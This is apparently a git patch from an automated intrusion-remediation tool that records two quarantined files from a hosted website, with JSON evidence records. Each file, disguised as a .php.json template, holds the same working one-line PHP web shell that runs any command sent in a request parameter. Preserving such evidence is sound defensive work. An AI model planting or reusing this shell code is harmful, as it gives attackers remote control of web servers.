From 157a4884910fe89e0f21d9566cfa3e81952402e5 Mon Sep 17 00:00:00 2001
From: imrcli-remediator <imrcli-remediator@localhost>
Date: Sat, 18 Jul 2026 17:08:59 +0200
Subject: [PATCH] =?UTF-8?q?quarantine:=20family=3Dbaseline-core=20(2=20f?=
 =?UTF-8?q?=C3=A1jl)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

vhost: www.archlinexp.eu
rel_path: templates/d6g30n.php.json
result: quarantined
evidence_sha256: e223ba70bd9fb48b8c1db6145e60886632747eba96c64267993b6e443c1b68db
timestamp: 20260718T150859Z
finding_ref: 4958

vhost: www.archlinexp.eu
rel_path: templates/p8xu5l.php.json
result: quarantined
evidence_sha256: e223ba70bd9fb48b8c1db6145e60886632747eba96c64267993b6e443c1b68db
timestamp: 20260718T150859Z
finding_ref: 4957
---
 .../archlinexp.eu/www/templates/d6g30n.php.json   |  1 +
 .../www/templates/d6g30n.php.json.evidence.json   | 15 +++++++++++++++
 .../archlinexp.eu/www/templates/p8xu5l.php.json   |  1 +
 .../www/templates/p8xu5l.php.json.evidence.json   | 15 +++++++++++++++
 4 files changed, 32 insertions(+)
 create mode 100644 var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json.evidence.json

diff --git a/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json b/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json
new file mode 100644
index 0000000..2af2f29
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json
@@ -0,0 +1 @@
+<?php @error_reporting(0);$c=$_GET["c"]??$_POST["c"]??"";if($c){echo"<pre>";@system($c);echo"</pre>";}?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json.evidence.json
new file mode 100644
index 0000000..896946c
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4958",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/d6g30n.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json)",
+  "original_sha256": "e223ba70bd9fb48b8c1db6145e60886632747eba96c64267993b6e443c1b68db",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783337706,
+    "size": 104,
+    "uid": 20043
+  },
+  "rel_path": "templates/d6g30n.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T150859Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json b/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json
new file mode 100644
index 0000000..2af2f29
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json
@@ -0,0 +1 @@
+<?php @error_reporting(0);$c=$_GET["c"]??$_POST["c"]??"";if($c){echo"<pre>";@system($c);echo"</pre>";}?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json.evidence.json
new file mode 100644
index 0000000..78e2a9e
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4957",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/p8xu5l.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json)",
+  "original_sha256": "e223ba70bd9fb48b8c1db6145e60886632747eba96c64267993b6e443c1b68db",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783348497,
+    "size": 104,
+    "uid": 20043
+  },
+  "rel_path": "templates/p8xu5l.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T150859Z",
+  "vhost": "www.archlinexp.eu"
+}